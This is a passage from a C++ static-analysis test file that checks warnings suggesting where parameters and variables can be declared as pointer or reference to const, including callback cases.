{\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n 